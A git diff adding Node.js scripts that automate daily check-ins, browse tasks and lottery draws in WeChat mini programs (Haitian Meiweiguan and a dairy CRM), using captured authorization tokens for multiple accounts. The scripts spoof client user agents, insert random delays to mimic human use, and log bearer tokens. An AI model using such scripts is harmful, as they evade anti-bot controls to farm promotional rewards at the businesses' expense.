axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wxed3cf95a14b58a26', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer ' + this.token + + await this.getUserInfo() + await this.doSign() + } + async getUserToken(code) { + let data = ({ + "code": code, + "appId": "wxed3cf95a14b58a26" + }); + + let options = { + method: 'POST', + url: 'https://stdcrm.dtmiller.com/std-weixin-mp-service/miniApp/custom/login', + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'authorization': '', + 'sec-fetch-site': 'cross-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://servicewechat.com/wxed3cf95a14b58a26/255/page-frame.html', + 'accept-language': 'zh-CN,zh;q=0.9' + }, + data: data + }; + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + this.token = result.data + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } + } + async getUserInfo() { + let options = { + method: 'GET', + url: `https://stdcrm.dtmiller.com/scrm-promotion-service/mini/wly/user/info`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'authorization': '', + 'sec-fetch-site': 'cross-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://servicewechat.com/wxed3cf95a14b58a26/255/page-frame.html', + 'accept-language': 'zh-CN,zh;q=0.9', + authorization: this.token + } + + } + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + $.log(`🌸账号[${this.index}] 获取用户信息[${result.data.member.mobile}] 积分[${result.data.member.points}]`) + } else { + $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.msg}❌`) + } + } + + async doSign() { + let options = { + method: 'GET', + url: `https://stdcrm.dtmiller.com/scrm-promotion-service/promotion/sign/today?promotionId=PI69cb44d522cc56000aa80bbe`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'authorization': '', + 'sec-fetch-site': 'cross-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://servicewechat.com/wxed3cf95a14b58a26/255/page-frame.html', + 'accept-language': 'zh-CN,zh;q=0.9', + authorization: this.token + } + }; + let { + data: result + } = await axios.request(options); + if (result?.code == '0') { + //打印签到结果 + $.log(`签到天数:${sign_data['data']['signDays']}`) + $.log(`签到成功`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/海天美味馆小程序/2025-06-28_海天美味馆_ce5a14cb.js b/脚本库/微信小程序/抓包版/海天美味馆小程序/2025-06-28_海天美味馆_ce5a14cb.js new file mode 100644 index 0000000..7c52269 --- /dev/null +++ b/脚本库/微信小程序/抓包版/海天美味馆小程序/2025-06-28_海天美味馆_ce5a14cb.js @@ -0,0 +1,514 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%B7%E5%A4%A9%E7%BE%8E%E5%91%B3%E9%A6%86.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%B7%E5%A4%A9%E7%BE%8E%E5%91%B3%E9%A6%86.js +// # Repo: jdqlscript/toulu +// # Path: 海天美味馆.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: ce5a14cb4c6f738c04e461d43e1647c56f4a5fbb42b0fe0b9935c6ba256dce64 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.11 17:33 +@Description: 海天美味馆小程序 每日签到+ 抽奖(端午)6.27结束 +------------------------------------------ +自己先去抽一次奖 签个到 把新手任务过了 别上来就跑 黑号不管 没写评论 不然一封封一堆 +变量名:haday +变量值 https://cmallapi.haday.cn/buyer-api/ 请求头Headers中的Authorization和uuid #连接 +多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("海天美味馆小程序"); +let ckName = `haday`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user.split(strSplitor)[0]; + $.uuid = user.split(strSplitor)[1]; + $.ckStatus = true; + $.activity_code = null + $.canUse = 0 + await getActivityInfo() + await $.wait(3000) + + if ($.activity_code) { + await userInfo() + } + await task_1() + await $.wait(3000) + + await task_2() + await $.wait(3000) + + await lotteryInfo() + await $.wait(3000) + + await getLotteryNum() + for (let i = 0; i < $.canUse; i++) { + await $.wait(3000) + + await lottery() + + } + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function getActivityInfo() { + let config = { + url: `https://cmallapi.haday.cn/buyer-api/sign/activity/code?activityCode=`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + } + } + let { data: result } = await Request(config) + if (result?.code == 403) { + $.log(`获取活动信息失败,原因:CK可能过期`) + } + if ("activity_code" in result) { + $.log(`获取活动信息成功,活动ID:${result.activity_code}`) + $.activity_code = result.activity_code + } +} +async function signIn() { + let data = { "activity_code": $.activity_code, "fill_date": "" } + let config = { + url: `https://cmallapi.haday.cn/buyer-api/sign/activity/sign`, + method: "POST", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + data: JSON.stringify(data) + } + let { data: result } = await Request(config) + if (result.is_sign == true) { + $.log(`签到成功`) + } else { + $.log(`签到失败 [${result.message}]`) + } + +} + +async function userInfo() { + + let config = { + url: `https://cmallapi.haday.cn/buyer-api/sign/activity/member/info?activityCode=${$.activity_code}`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + } + } + let { data: result } = await Request(config) + if (result?.is_sign !== true) { + $.log(`${result.member_id}未签到,开始签到`) + await signIn() + } else { + + } + $.log(`当前累计签到[${result.sign_day_num}]`) +} +//浏览页面 +async function task_1() { + let data = {} + let config = { + url: `https://cmallapi.haday.cn/buyer-api/members/browsePage`, + method: "POST", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + data: JSON.stringify(data) + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`浏览界面 操作成功`) + } else { + $.log(`浏览界面 操作失败[${JSON.stringify(result)}]`) + } + +} +//浏览社区 +async function task_2() { + let data = {} + let config = { + url: `https://cmallapi.haday.cn/buyer-api/members/commnity/brosing/duration/add?seconds=100`, + method: "POST", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + data: JSON.stringify(data) + } + let { data: result } = await Request(config) + if (result?.statusCode == 200) { + $.log(`浏览社区 操作成功`) + } else { + $.log(`浏览社区 操作失败 貌似是正常的 [${result}]`) + } + +} +async function getLotteryNum() { + let config = { + url: `https://cmallapi.haday.cn/buyer-api/lucky/activity/opporturnity?activityCode=jfcj0527`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + } + let { data: result } = await Request(config) + if (result.can_use > 0) { + $.canUse = result.can_use + $.log(`当前剩余抽奖次数:${result.can_use}`) + } else { + $.log(`当前剩余抽奖次数0`) + } +} +async function lottery() { + let config = { + url: `https://cmallapi.haday.cn/buyer-api/lucky/activity/extract?activityCode=jfcj0527`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + } + let { data: result } = await Request(config) + if (result.lucky_record_vo) { + $.log(`抽奖获得:${result.lucky_record_vo.prize_name}`) + } else { + $.log(result.message) + } + +} +async function lotteryInfo() { + let config = { + url: `https://cmallapi.haday.cn/buyer-api/lucky/task/package/jfcj0527`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + } + let { data: result } = await Request(config) + if (result?.member_id) { + + for (let i of result.task_list) { + if (i.today_obtained_task_number < i.today_available_task_number) { + if (i.task_key == 'LOGIN') { + await $.wait(3000) + + await lottery_task_login() + } + if (i.task_key == 'POINT_EXCHANGE') { + for (let j = 0; j < i.today_available_task_number; j++) { + await $.wait(3000) + await lottery_task_exchange() + + } + } + if (i.task_key == 'BROWSE_PAGE_TASK') { + await $.wait(3000) + + await lottery_task_see(i.link) + + } + } + + + } + } else { + $.log(`获取抽奖信息 操作失败[${JSON.stringify(result)}]`) + } + +} +//抽奖登录 领取次数 +async function lottery_task_login() { + let data = {} + let config = { + url: `https://cmallapi.haday.cn/buyer-api/lucky/task/getLoginOpporturnity/jfcj0527`, + method: "PUT", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + data: JSON.stringify(data) + } + let { data: result } = await Request(config) + $.log(result) + +} +async function lottery_task_exchange() { + let config = { + url: `https://cmallapi.haday.cn/buyer-api/lucky/activity/redeem?activityCode=jfcj0527`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + } + let { data: result } = await Request(config) + if (result?.member_id) { + $.log(`兑换次数成功`) + + } else { + $.log(`兑换次数失败`) + $.log(result) + } + +} +//浏览页面 +async function lottery_task_see(link) { + let config_start = { + url: `https://cmallapi.haday.cn/buyer-api/lucky/task/browse/page/start/jfcj0527?pageUrl=${link}`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + } + let { data: result_start } = await Request(config_start) + let config_end = { + url: `https://cmallapi.haday.cn/buyer-api/lucky/task/browse/page/start/jfcj0527?pageUrl=${link}`, + method: "GET", + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "envVersion": "release", + "Host": "cmallapi.haday.cn", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/597/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "uuid": $.uuid, + "xweb_xhr": "1" + }, + } + let { data: result_end } = await Request(config_end) + $.log(`浏览页面完成`) +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/海天美味馆小程序/2026-05-14_haitian_460af5d6.js b/脚本库/微信小程序/抓包版/海天美味馆小程序/2026-05-14_haitian_460af5d6.js new file mode 100644 index 0000000..fabceeb --- /dev/null +++ b/脚本库/微信小程序/抓包版/海天美味馆小程序/2026-05-14_haitian_460af5d6.js @@ -0,0 +1,281 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/haitian.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/haitian.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/haitian.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 460af5d6a725f21a69a7b73506b3433d530e587e5a185e036d8ec00966e9d66d +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 海天美味馆小程序 +cron: 30 11 * * * +------------------------------------------ +#Notice: +抓取https://cmallapi.xkmm.cn请求头的authorization和uuid参数,填入环境变量,格式如下: +authorization#uuid 多账号&或换行 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("海天美味馆小程序"); +let ckName = `haitian`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + this.activity_code = ""; + this.userFlag = false; + this.headers = {}; + this.uuid = this.user[1] + this.headers = { + "Connection": "keep-alive", + "envVersion": "release", + "content-type": "application/json", + "Authorization": "" + this.token, + "uuid": "" + this.uuid, + "Accept-Encoding": "gzip,compress,br,deflate", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN", + "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/765/page-frame.html" + } + } + + async run() { + + await this.getUserInfo() + + if (this.userFlag) { + await this.task_1() + + await this.task_2() + await this.getSignActivity() + + if (this.activity_code) { + await this.signIn() + await this.getLotteryTaskList() + await this.getLotteryNum() + } + } + } + async getUserInfo() { + let options = { + method: 'GET', + url: `https://cmallapi.xkmm.cn/buyer-api/members`, + headers: this.headers + } + let { data: result } = await axios.request(options); + if (result?.member_id) { + $.log(`🌸账号[${this.index}] [${result.member_id}][${result.mobile}] 